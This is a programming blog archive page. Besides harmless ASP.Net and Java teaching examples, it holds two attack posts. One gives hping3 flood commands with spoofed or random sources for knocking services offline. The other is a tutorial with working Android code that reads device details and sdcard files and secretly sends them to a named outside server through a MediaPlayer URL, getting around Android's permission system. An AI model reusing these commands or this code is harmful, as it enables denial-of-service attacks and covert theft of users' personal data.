Showing posts with label Programs. Show all posts
Showing posts with label Programs. Show all posts

Tuesday, June 24, 2014

How To Find Controls Inside MasterPage ContentPlaceHolder Of ASP.Net Page


How To Find Controls Inside MasterPage

I experienced Page.FindControl() is not working in Asp.Net Page when we are using MastePage.

In this Article i am going to show how to find controls in Asp.Net Page as well How to get MaterPage controls in Asp.net Page

How To Find Controls Of MastePage In Asp.Net Page

»In MasterPage i added a label and One ContentPlaceHolder, This is My MasterPage code snippet to demonstrate 

<form id="form1" runat="server"&gt
   <div><asp:Label ID="lblUN" runat="server"Text="Raji">asp:Label>div>
<asp:ContentPlaceHolder ID="ContentPlaceHolder1"runat="server">
      asp:ContentPlaceHolder>
</form>
»I added a TextBox inside ContentPlaceHolder of Asp.Net page that uses a master Page.
<asp:Content ID="Content1"ContentPlaceHolderID="ContentPlaceHolder1" Runat="Server" >

    <asp:TextBox ID="txtUName" runat="server"Text="Raji">asp:TextBox>
   
&lt/asp:Content>



»To find the 'Label' controls of Master page just add the following line in CodeBehind(.cs) page 

Label l = Master.FindControl("lblUN"as Label;

How To Find The Controls In a Page

»To find the controls in page just use the following code snippet
TextBox TB= Master.FindControl("ContentPlaceHolder1").FindControl("txtUName")as TextBox;

Happy Coding



Tuesday, December 11, 2012

DoS Attack using HPING




I am here to explain the DoS attacks (with practicals). You all know about DoS attack, Denial-of-
Service Attacks. In this attack, attacker denies the user to use a particular service. You can have many
tools for DoS attacks, but I'm gonna teach you a simple method for stress testing on the service.
We need Hping3 (It is available in linux only but you can use hping2 in windows but i can't assure you that it will work for this practical). Download Hping2/3 here

Ok so let's bring down some services.

Open the console and go to the path of hping3 and give the following command.

hping3 --rand-source –S –L 0 –p <target port> <target IP>

Here we are sending SYN packets (set value by replacing 0) with a random source.

hping3 --rand-source –SA –p <open port> <target IP>

Here we are sending SYN + ACK packets from a random source.

hping3 --rand-source -–udp <target IP> --flood

Flooding the target IP with UDP packets.

hping3 --rand-source –SAFRU –L 0 –M 0 –p <port> <target> --flood

In this command, we are sending SYN+ACK+FIN+RST+URG packets with TCP ack (-L) and TCP seq (-M). Change the values after -L and -M.

hping3 --icmp --spoof <target address> <broadcast address> --flood

Flooding with ICMP packets by spoofed IP (--spoof).


Once you download the hping, open your console and type "hping3 --help" for more options.



Penetration Testing by Nokia N900


So I'm back with more Mobile fun. Let's talk about Penetration Testing. You guys are aware of this

process, right? So what's new in this article?
We do penetration testing with laptops and desktops. Have you ever tried to do penetration testing by
using Nokia N900. We can do this by using NeoPwn, it's like Backtrack, means you'll get installed some
tools and scripts that are used in Backtrack.Like:
Metasploit
Airmon
Grimwepa
Karmetasploit
SET
Sidejack
Tor
etc...


All of these packages are included in NeoPwn.
So how we can get it and what is it?
It is a Linux based destro for mobile which are based on Linux. Once you install it you can do whatever you want to do. I only tested it in N900, but you can try it for Android.

Download Here: NeoPwn v2
Download Torrent: NeoPwn v2


How to Create Android app for stealing

How to Create Android App for Stealing User Info

Hi
I would like to share some stuff about Android security , and I will try to give you some examples , how actually you can create an application without using or adding any permission including android.permission.INTERNET ,(normally it is added AndroidManifest.xml), if you want your app to use internet connection , With the functions below you will be able to send data to any server over the http to your apache log on your server , or posting to your php pages. First I will show you which information are available few which i know , maybe there are some more unknown info which is available. to be send

1.List of details about User,Device which can be taken,stolen and send to remote servers.
Normally to get some user and phone detailed you need to use READ_PHONE_STATE permission but if you just used the function below
you will actually have all the information about user and the phone( user phone number, ip, mac, phone country, telecom company, mac address, ip, imei)

public void getprop()
{

try {
String s="";

Process p = Runtime.getRuntime().exec("getprop");
BufferedReader stdInput = new BufferedReader(new InputStreamReader(p.getInputStream()));

while ((s = stdInput.readLine()) != null)
{
Log.i("User Information :","getprop"+s);

}
}
catch (IOException e) {

}



2. If you know how to list installed apps you can use Package Manager for android and get the installed apps list on the phone.

3.You can also scan the sdcard and and other phone files and check for text files .

Listing available files

public void listfiles()
{

try {

File f = new File("ls "+Environment.getExternalStorageDirectory());
FileInputStream fileis = new FileInputStream(f);
BufferedReader buf = new BufferedReader(new InputStreamReader(fileis));
String readString = new String(); 

while((readString = buf.readLine())!= null)
{
Log.i("Directories and Files: ", readString);
}
}
catch (IOException e) {

}

reading a single file on sdcard

3.a Reading a single file

public void readsdcardfile()
{

try {

File f = new File(Environment.getExternalStorageDirectory()+"/filetoget.txt");
FileInputStream fileIS = new FileInputStream(f);
BufferedReader buf = new BufferedReader(new InputStreamReader(fileIS));
String readString = new String(); 

while((readString = buf.readLine())!= null)
{
Log.i("file: ", readString);
}
}
catch (IOException e) {

}



basically you can first list the for any text files and then read all the files

And Finally the magic part ok we got all the information but how do we send it without user's knowledge and harvest some data.

This trick is very simple to do , first create your strings about the information described above which you want to send than i will show you how to send them .
using this single code of line you will be able to connect to any http page and send your previously created Strings about phone and user details or text files

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/userDetails"+PhoneDetails+FileDetails+InstalledAppsDetails));

How Does this will send information
When you call MediaPlayer.create static function ,normally it is expected you to provide an video audio file link for streaming ,well you do not have to , you can just type any url it will still connect and even if the link is not working on the other side of the server you will have the information It will be stored in your Apache Server Logs ,because you have just requested a non existing file on the server with the user details and the other stuff in url.

You can also create a php page and try to post your stuff
php post page probably should work as below(i have tested this one but assuming it might just work)

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/getinfo.php?details&"+userDetails+PhoneDetails+FileDetails+InstalledAppsDetails));

The main trick of this tutorial was that without using any single permission in your AndroidManifest.xml file you will be still able to send data to any server
by just using a single line of code you just request on your website a non existing page and it will be logged on your Apache ServerLogs or if you have a php post file you can just print it on your page or store on your database.

MediaPlayer.create(this, Uri.parse("http://www.kislaybhardwaj.com/mydetailstosendString));

Please use this wisely and for training purposes only and take it as an example of how actually android security is vulnerable.




Monday, August 20, 2012

Programs

Data Structure Programs in java

Hi Here the Links to download various Data Structure Programs in java 

DoubleLinkedlist
Bubblesort java 
Binarysearch java
Linearsearch java 
Mergesort java 
Linkedlist java 
Stack java



Java Constructors Overloading

This Simple Java Program is for performing Constructor Overloading in Java. This is a part of Mumbai University MCA Colleges Java Practicals.

Constructor is required when we declare a class object. Java Class Constructors initializes the variables of the object. Constructor Overloading is done so that the objects of different forms can be initialized at the declaration time.

The Below program uses a class named Box which finds the volume of the Box object. This class has 2 constructors one for initializing a Cube Box and other for Initializing a Rectangular Box.
As those are constructors and return nothing, they dont have a return type.


class Box
{
int l,b,h;
Box(int x)             // Constructor for Cube
{
 l=x;
 b=x;
 h=x;
}
Box(int x,int y,int z)            //Constructor for Rectangle
{
 l=x;
 b=y;
 h=z;
}
void volume()
{
          System.out.println("Volume of the box is "+(l*b*h));
}
public static void main(String args[])
{
Box cube= new Box(10);          //Calling cube constructor
Box b=new Box(10,4,7);          //Calling box constructor
cube.volume();
b.volume();
}
}

Hope this Java Program is useful to you in some sense or other. Happy Programming and Studying.




In the Below program Abstract Class named Interest is used by 2 classes named SimpleInterest and CompoundInterest. These 2 classes uses the variables, Constructor and the display method of the abstract class. Both the classes use different definitions for the abstract method calc() to calculate the interest.

abstract class Interest
{
double p,amt,n;
Interest(double a,double y)
{
p=a;
n=y;
}
void display()
{
System.out.println("\nAMOUNT = "+p+"\nNOS OF YRS ="+n);
}
abstract void calc();
}

class SimpleInterest extends Interest
{
SimpleInterest(double a,double y)
{
super(a,y);
}
void calc()
{
amt= (p*n*0.0925);
System.out.println("SIMPLE INTEREST="+amt);
}
}

class CompoundInterest extends Interest
{
CompoundInterest(double a,double y)
{
super(a,y);
}
void calc()
{
amt= p*Math.pow((1+(8.5/100)),n);
System.out.println("COMPOUND INTEREST="+amt);
}
}

class Bank
{
public static void main(String str[])
{
Interest i;
SimpleInterest s1=new SimpleInterest(25000,5);
CompoundInterest c1=new CompoundInterest(25000,5);
i=s1;
i.display();
i.calc();
i=c1;
i.display();
i.calc();
}
}






The Below java program calculates the areas of Circle, Triangle and Rectangle with same name function but different signatures.


class Area
{
void area(int l,int b)
{
          System.out.println("AREA OF RECTANGLE ="+(l*b));
}
void area(double b,double h)
{
System.out.println("AREA OF TRIANGLE ="+(0.5*b*h));
}
void area(double r)
{
System.out.println("AREA OF CIRCLE ="+(3.14*r*r));
}
public static void main(String args[])
{
Area a=new Area();
a.area(10.5,20.4);
a.area(2,6);
a.area(15.3);
}
}



Interface just carry the signature of the function to be used. The class which implements a interface has to define the function which its gonna implement.

.

interface Exam
{
boolean pass(int marks);
}

interface Classify
{
String division(int avg);
}

class Result implements Exam,Classify
{
public boolean pass(int marks)
{
System.out.println("Marks obtained are "+ marks);
if(marks>=50)
return true;
else
return false;
}
public String division(int avg)
{
if(avg>=60)
return("First Division");
else if(avg>50)
return("Second Division");
else
return("Third Division");
}
public static void main(String ar[])
{
Result r =new Result();
boolean flg;
flg=r.pass(60);
if(flg==true)
System.out.println("Marks>=50");
else
System.out.println("Marks<50");
System.out.println(r.division(60)); 
}
}